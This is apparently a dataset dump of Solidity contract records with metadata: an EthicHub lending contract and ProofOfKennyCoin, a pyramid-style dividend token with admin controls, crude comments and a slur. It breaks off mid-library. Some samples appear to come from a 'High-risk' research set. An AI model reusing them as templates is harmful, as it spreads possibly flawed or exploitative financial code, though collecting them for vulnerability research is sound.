uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
contract FFR is ERC20, ERC20Burnable {
constructor(string memory _name, string memory _symbol, uint256 totalSupply) public ERC20(_name, _symbol) {
_mint(msg.sender, totalSupply);
}
}
| 249,191 | 1,755 |
49b3c84cd8b0d39528db375636d7a4edfc1515a6a98685b9b123474194851e70
| 24,167 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xd20e9d67fac76369edbcb5775152be2696764d17.sol
| 5,620 | 22,229 |
pragma solidity ^0.4.13;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract EthicHubStorageInterface {
//modifier for access in sets and deletes
modifier onlyEthicHubContracts() {_;}
// Setters
function setAddress(bytes32 _key, address _value) external;
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string _value) external;
function setBytes(bytes32 _key, bytes _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
// Deleters
function deleteAddress(bytes32 _key) external;
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
// Getters
function getAddress(bytes32 _key) external view returns (address);
function getUint(bytes32 _key) external view returns (uint);
function getString(bytes32 _key) external view returns (string);
function getBytes(bytes32 _key) external view returns (bytes);
function getBool(bytes32 _key) external view returns (bool);
function getInt(bytes32 _key) external view returns (int);
}
contract EthicHubBase {
uint8 public version;
EthicHubStorageInterface public ethicHubStorage = EthicHubStorageInterface(0);
constructor(address _storageAddress) public {
require(_storageAddress != address(0));
ethicHubStorage = EthicHubStorageInterface(_storageAddress);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract EthicHubReputationInterface {
modifier onlyUsersContract(){_;}
modifier onlyLendingContract(){_;}
function burnReputation(uint delayDays) external;
function incrementReputation(uint completedProjectsByTier) external;
function initLocalNodeReputation(address localNode) external;
function initCommunityReputation(address community) external;
function getCommunityReputation(address target) public view returns(uint256);
function getLocalNodeReputation(address target) public view returns(uint256);
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract EthicHubLending is EthicHubBase, Ownable, Pausable {
using SafeMath for uint256;
uint256 public minContribAmount = 0.1 ether; // 0.01 ether
enum LendingState {
Uninitialized,
AcceptingContributions,
ExchangingToFiat,
AwaitingReturn,
ProjectNotFunded,
ContributionReturned,
Default
}
mapping(address => Investor) public investors;
uint256 public investorCount;
uint256 public fundingStartTime; // Start time of contribution period in UNIX time
uint256 public fundingEndTime; // End time of contribution period in UNIX time
uint256 public totalContributed;
bool public capReached;
LendingState public state;
uint256 public annualInterest;
uint256 public totalLendingAmount;
uint256 public lendingDays;
uint256 public initialEthPerFiatRate;
uint256 public totalLendingFiatAmount;
address public borrower;
address public localNode;
address public ethicHubTeam;
uint256 public borrowerReturnDate;
uint256 public borrowerReturnEthPerFiatRate;
uint256 public ethichubFee;
uint256 public localNodeFee;
uint256 public tier;
// interest rate is using base uint 100 and 100% 10000, this means 1% is 100
// this guarantee we can have a 2 decimal presicion in our calculation
uint256 public constant interestBaseUint = 100;
uint256 public constant interestBasePercent = 10000;
bool public localNodeFeeReclaimed;
bool public ethicHubTeamFeeReclaimed;
uint256 public surplusEth;
uint256 public returnedEth;
struct Investor {
uint256 amount;
bool isCompensated;
bool surplusEthReclaimed;
}
// events
event onCapReached(uint endTime);
event onContribution(uint totalContributed, address indexed investor, uint amount, uint investorsCount);
event onCompensated(address indexed contributor, uint amount);
event onSurplusSent(uint256 amount);
event onSurplusReclaimed(address indexed contributor, uint amount);
event StateChange(uint state);
event onInitalRateSet(uint rate);
event onReturnRateSet(uint rate);
event onReturnAmount(address indexed borrower, uint amount);
event onBorrowerChanged(address indexed newBorrower);
// modifiers
modifier checkProfileRegistered(string profile) {
bool isRegistered = ethicHubStorage.getBool(keccak256("user", profile, msg.sender));
require(isRegistered);
_;
}
modifier checkIfArbiter() {
address arbiter = ethicHubStorage.getAddress(keccak256("arbiter", this));
require(arbiter == msg.sender);
_;
}
modifier onlyOwnerOrLocalNode() {
require(localNode == msg.sender || owner == msg.sender);
_;
}
constructor(uint256 _fundingStartTime,
uint256 _fundingEndTime,
address _borrower,
uint256 _annualInterest,
uint256 _totalLendingAmount,
uint256 _lendingDays,
address _storageAddress,
address _localNode,
address _ethicHubTeam,
uint256 _ethichubFee,
uint256 _localNodeFee)
EthicHubBase(_storageAddress)
public {
require(_fundingStartTime > now);
require(_fundingEndTime > fundingStartTime);
require(_borrower != address(0));
require(ethicHubStorage.getBool(keccak256("user", "representative", _borrower)));
require(_localNode != address(0));
require(_ethicHubTeam != address(0));
require(ethicHubStorage.getBool(keccak256("user", "localNode", _localNode)));
require(_totalLendingAmount > 0);
require(_lendingDays > 0);
require(_annualInterest > 0 && _annualInterest < 100);
version = 2;
fundingStartTime = _fundingStartTime;
fundingEndTime = _fundingEndTime;
localNode = _localNode;
ethicHubTeam = _ethicHubTeam;
borrower = _borrower;
annualInterest = _annualInterest;
totalLendingAmount = _totalLendingAmount;
lendingDays = _lendingDays;
ethichubFee = _ethichubFee;
localNodeFee = _localNodeFee;
state = LendingState.Uninitialized;
}
function saveInitialParametersToStorage(uint256 _maxDelayDays, uint256 _tier, uint256 _communityMembers, address _community) external onlyOwnerOrLocalNode {
require(_maxDelayDays != 0);
require(state == LendingState.Uninitialized);
require(_tier > 0);
require(_communityMembers > 0);
require(ethicHubStorage.getBool(keccak256("user", "community", _community)));
ethicHubStorage.setUint(keccak256("lending.maxDelayDays", this), _maxDelayDays);
ethicHubStorage.setAddress(keccak256("lending.community", this), _community);
ethicHubStorage.setAddress(keccak256("lending.localNode", this), localNode);
ethicHubStorage.setUint(keccak256("lending.tier", this), _tier);
ethicHubStorage.setUint(keccak256("lending.communityMembers", this), _communityMembers);
tier = _tier;
state = LendingState.AcceptingContributions;
emit StateChange(uint(state));
}
function setBorrower(address _borrower) external checkIfArbiter {
require(_borrower != address(0));
require(ethicHubStorage.getBool(keccak256("user", "representative", _borrower)));
borrower = _borrower;
emit onBorrowerChanged(borrower);
}
function() public payable whenNotPaused {
require(state == LendingState.AwaitingReturn || state == LendingState.AcceptingContributions || state == LendingState.ExchangingToFiat);
if(state == LendingState.AwaitingReturn) {
returnBorrowedEth();
} else if (state == LendingState.ExchangingToFiat) {
// borrower can send surplus eth back to contract to avoid paying interest
sendBackSurplusEth();
} else {
contributeWithAddress(msg.sender);
}
}
function sendBackSurplusEth() internal {
require(state == LendingState.ExchangingToFiat);
require(msg.sender == borrower);
surplusEth = surplusEth.add(msg.value);
require(surplusEth <= totalLendingAmount);
emit onSurplusSent(msg.value);
}
function declareProjectNotFunded() external onlyOwnerOrLocalNode {
require(totalContributed < totalLendingAmount);
require(state == LendingState.AcceptingContributions);
require(now > fundingEndTime);
state = LendingState.ProjectNotFunded;
emit StateChange(uint(state));
}
function declareProjectDefault() external onlyOwnerOrLocalNode {
require(state == LendingState.AwaitingReturn);
uint maxDelayDays = getMaxDelayDays();
require(getDelayDays(now) >= maxDelayDays);
EthicHubReputationInterface reputation = EthicHubReputationInterface(ethicHubStorage.getAddress(keccak256("contract.name", "reputation")));
require(reputation != address(0));
ethicHubStorage.setUint(keccak256("lending.delayDays", this), maxDelayDays);
reputation.burnReputation(maxDelayDays);
state = LendingState.Default;
emit StateChange(uint(state));
}
function setBorrowerReturnEthPerFiatRate(uint256 _borrowerReturnEthPerFiatRate) external onlyOwnerOrLocalNode {
require(state == LendingState.AwaitingReturn);
borrowerReturnEthPerFiatRate = _borrowerReturnEthPerFiatRate;
emit onReturnRateSet(borrowerReturnEthPerFiatRate);
}
function finishInitialExchangingPeriod(uint256 _initialEthPerFiatRate) external onlyOwnerOrLocalNode {
require(capReached == true);
require(state == LendingState.ExchangingToFiat);
initialEthPerFiatRate = _initialEthPerFiatRate;
if (surplusEth > 0) {
totalLendingAmount = totalLendingAmount.sub(surplusEth);
}
totalLendingFiatAmount = totalLendingAmount.mul(initialEthPerFiatRate);
emit onInitalRateSet(initialEthPerFiatRate);
state = LendingState.AwaitingReturn;
emit StateChange(uint(state));
}
function reclaimContributionDefault(address beneficiary) external {
require(state == LendingState.Default);
require(!investors[beneficiary].isCompensated);
// contribution = contribution * partial_funds / total_funds
uint256 contribution = checkInvestorReturns(beneficiary);
require(contribution > 0);
investors[beneficiary].isCompensated = true;
beneficiary.transfer(contribution);
}
function reclaimContribution(address beneficiary) external {
require(state == LendingState.ProjectNotFunded);
require(!investors[beneficiary].isCompensated);
uint256 contribution = investors[beneficiary].amount;
require(contribution > 0);
investors[beneficiary].isCompensated = true;
beneficiary.transfer(contribution);
}
function reclaimSurplusEth(address beneficiary) external {
require(surplusEth > 0);
// only can be reclaimed after cap reduced
require(state != LendingState.ExchangingToFiat);
require(!investors[beneficiary].surplusEthReclaimed);
uint256 surplusContribution = investors[beneficiary].amount.mul(surplusEth).div(surplusEth.add(totalLendingAmount));
require(surplusContribution > 0);
investors[beneficiary].surplusEthReclaimed = true;
emit onSurplusReclaimed(beneficiary, surplusContribution);
beneficiary.transfer(surplusContribution);
}
function reclaimContributionWithInterest(address beneficiary) external {
require(state == LendingState.ContributionReturned);
require(!investors[beneficiary].isCompensated);
uint256 contribution = checkInvestorReturns(beneficiary);
require(contribution > 0);
investors[beneficiary].isCompensated = true;
beneficiary.transfer(contribution);
}
function reclaimLocalNodeFee() external {
require(state == LendingState.ContributionReturned);
require(localNodeFeeReclaimed == false);
uint256 fee = totalLendingFiatAmount.mul(localNodeFee).mul(interestBaseUint).div(interestBasePercent).div(borrowerReturnEthPerFiatRate);
require(fee > 0);
localNodeFeeReclaimed = true;
localNode.transfer(fee);
}
function reclaimEthicHubTeamFee() external {
require(state == LendingState.ContributionReturned);
require(ethicHubTeamFeeReclaimed == false);
uint256 fee = totalLendingFiatAmount.mul(ethichubFee).mul(interestBaseUint).div(interestBasePercent).div(borrowerReturnEthPerFiatRate);
require(fee > 0);
ethicHubTeamFeeReclaimed = true;
ethicHubTeam.transfer(fee);
}
function returnBorrowedEth() internal {
require(state == LendingState.AwaitingReturn);
require(msg.sender == borrower);
require(borrowerReturnEthPerFiatRate > 0);
bool projectRepayed = false;
uint excessRepayment = 0;
uint newReturnedEth = 0;
emit onReturnAmount(msg.sender, msg.value);
(newReturnedEth, projectRepayed, excessRepayment) = calculatePaymentGoal(borrowerReturnAmount(),
returnedEth,
msg.value);
returnedEth = newReturnedEth;
if (projectRepayed == true) {
state = LendingState.ContributionReturned;
emit StateChange(uint(state));
updateReputation();
}
if (excessRepayment > 0) {
msg.sender.transfer(excessRepayment);
}
}
// @notice Function to participate in contribution period
// Amounts from the same address should be added up
// If cap is reached, end time should be modified
// Funds should be transferred into multisig wallet
// @param contributor Address
function contributeWithAddress(address contributor) internal checkProfileRegistered('investor') whenNotPaused {
require(state == LendingState.AcceptingContributions);
require(msg.value >= minContribAmount);
require(isContribPeriodRunning());
uint oldTotalContributed = totalContributed;
uint newTotalContributed = 0;
uint excessContribValue = 0;
(newTotalContributed, capReached, excessContribValue) = calculatePaymentGoal(totalLendingAmount,
oldTotalContributed,
msg.value);
totalContributed = newTotalContributed;
if (capReached) {
fundingEndTime = now;
emit onCapReached(fundingEndTime);
}
if (investors[contributor].amount == 0) {
investorCount = investorCount.add(1);
}
if (excessContribValue > 0) {
msg.sender.transfer(excessContribValue);
investors[contributor].amount = investors[contributor].amount.add(msg.value).sub(excessContribValue);
emit onContribution(newTotalContributed, contributor, msg.value.sub(excessContribValue), investorCount);
} else {
investors[contributor].amount = investors[contributor].amount.add(msg.value);
emit onContribution(newTotalContributed, contributor, msg.value, investorCount);
}
}
function calculatePaymentGoal(uint goal, uint oldTotal, uint contribValue) internal pure returns(uint, bool, uint) {
uint newTotal = oldTotal.add(contribValue);
bool goalReached = false;
uint excess = 0;
if (newTotal >= goal && oldTotal < goal) {
goalReached = true;
excess = newTotal.sub(goal);
contribValue = contribValue.sub(excess);
newTotal = goal;
}
return (newTotal, goalReached, excess);
}
function sendFundsToBorrower() external onlyOwnerOrLocalNode {
//Waiting for Exchange
require(state == LendingState.AcceptingContributions);
require(capReached);
state = LendingState.ExchangingToFiat;
emit StateChange(uint(state));
borrower.transfer(totalContributed);
}
function updateReputation() internal {
uint delayDays = getDelayDays(now);
EthicHubReputationInterface reputation = EthicHubReputationInterface(ethicHubStorage.getAddress(keccak256("contract.name", "reputation")));
require(reputation != address(0));
if (delayDays > 0) {
ethicHubStorage.setUint(keccak256("lending.delayDays", this), delayDays);
reputation.burnReputation(delayDays);
} else {
uint completedProjectsByTier = ethicHubStorage.getUint(keccak256("community.completedProjectsByTier", this, tier)).add(1);
ethicHubStorage.setUint(keccak256("community.completedProjectsByTier", this, tier), completedProjectsByTier);
reputation.incrementReputation(completedProjectsByTier);
}
}
function getDelayDays(uint date) public view returns(uint) {
uint lendingDaysSeconds = lendingDays * 1 days;
uint defaultTime = fundingEndTime.add(lendingDaysSeconds);
if (date < defaultTime) {
return 0;
} else {
return date.sub(defaultTime).div(60).div(60).div(24);
}
}
// lendingInterestRate with 2 decimal
// 15 * (lending days)/ 365 + 4% local node fee + 3% LendingDev fee
function lendingInterestRatePercentage() public view returns(uint256){
return annualInterest.mul(interestBaseUint).mul(lendingDays.add(getDelayDays(now))).div(365).add(localNodeFee.mul(interestBaseUint)).add(ethichubFee.mul(interestBaseUint)).add(interestBasePercent);
}
// lendingInterestRate with 2 decimal
function investorInterest() public view returns(uint256){
return annualInterest.mul(interestBaseUint).mul(lendingDays.add(getDelayDays(now))).div(365).add(interestBasePercent);
}
function borrowerReturnFiatAmount() public view returns(uint256) {
return totalLendingFiatAmount.mul(lendingInterestRatePercentage()).div(interestBasePercent);
}
function borrowerReturnAmount() public view returns(uint256) {
return borrowerReturnFiatAmount().div(borrowerReturnEthPerFiatRate);
}
function isContribPeriodRunning() public view returns(bool) {
return fundingStartTime <= now && fundingEndTime > now && !capReached;
}
function checkInvestorContribution(address investor) public view returns(uint256){
return investors[investor].amount;
}
function checkInvestorReturns(address investor) public view returns(uint256) {
uint256 investorAmount = 0;
if (state == LendingState.ContributionReturned) {
investorAmount = investors[investor].amount;
if (surplusEth > 0){
investorAmount = investors[investor].amount.mul(totalLendingAmount).div(totalContributed);
}
return investorAmount.mul(initialEthPerFiatRate).mul(investorInterest()).div(borrowerReturnEthPerFiatRate).div(interestBasePercent);
} else if (state == LendingState.Default){
investorAmount = investors[investor].amount;
// contribution = contribution * partial_funds / total_funds
return investorAmount.mul(returnedEth).div(totalLendingAmount);
} else {
return 0;
}
}
function getMaxDelayDays() public view returns(uint256){
return ethicHubStorage.getUint(keccak256("lending.maxDelayDays", this));
}
function getUserContributionReclaimStatus(address userAddress) public view returns(bool isCompensated, bool surplusEthReclaimed){
isCompensated = investors[userAddress].isCompensated;
surplusEthReclaimed = investors[userAddress].surplusEthReclaimed;
}
}
| 186,799 | 1,756 |
8bd0726396b6235d51e45257068f1666884a1b66d9c4531aaeaca13203da7cbe
| 25,304 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/High-risk/0x5c976e71bB27538bDdb0ED399be1722C6745Bcb6.sol
| 4,523 | 17,735 |
pragma solidity ^0.4.20;
contract ProofOfKennyCoin {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if(onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_)){
require(// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "ProofOfKennyCoin";
string public symbol = "POKC";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 4; // Look, strong Math
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 50e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 3 ether;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(address => bool) public administrators;
bool public onlyAmbassadors = false;
function ProofOfKennyCoin()
public
{
// add administrators here
administrators[0xCd39c70f9DF2A0D216c3A52C5A475914485a0625] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// (we dont want whale premines)
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
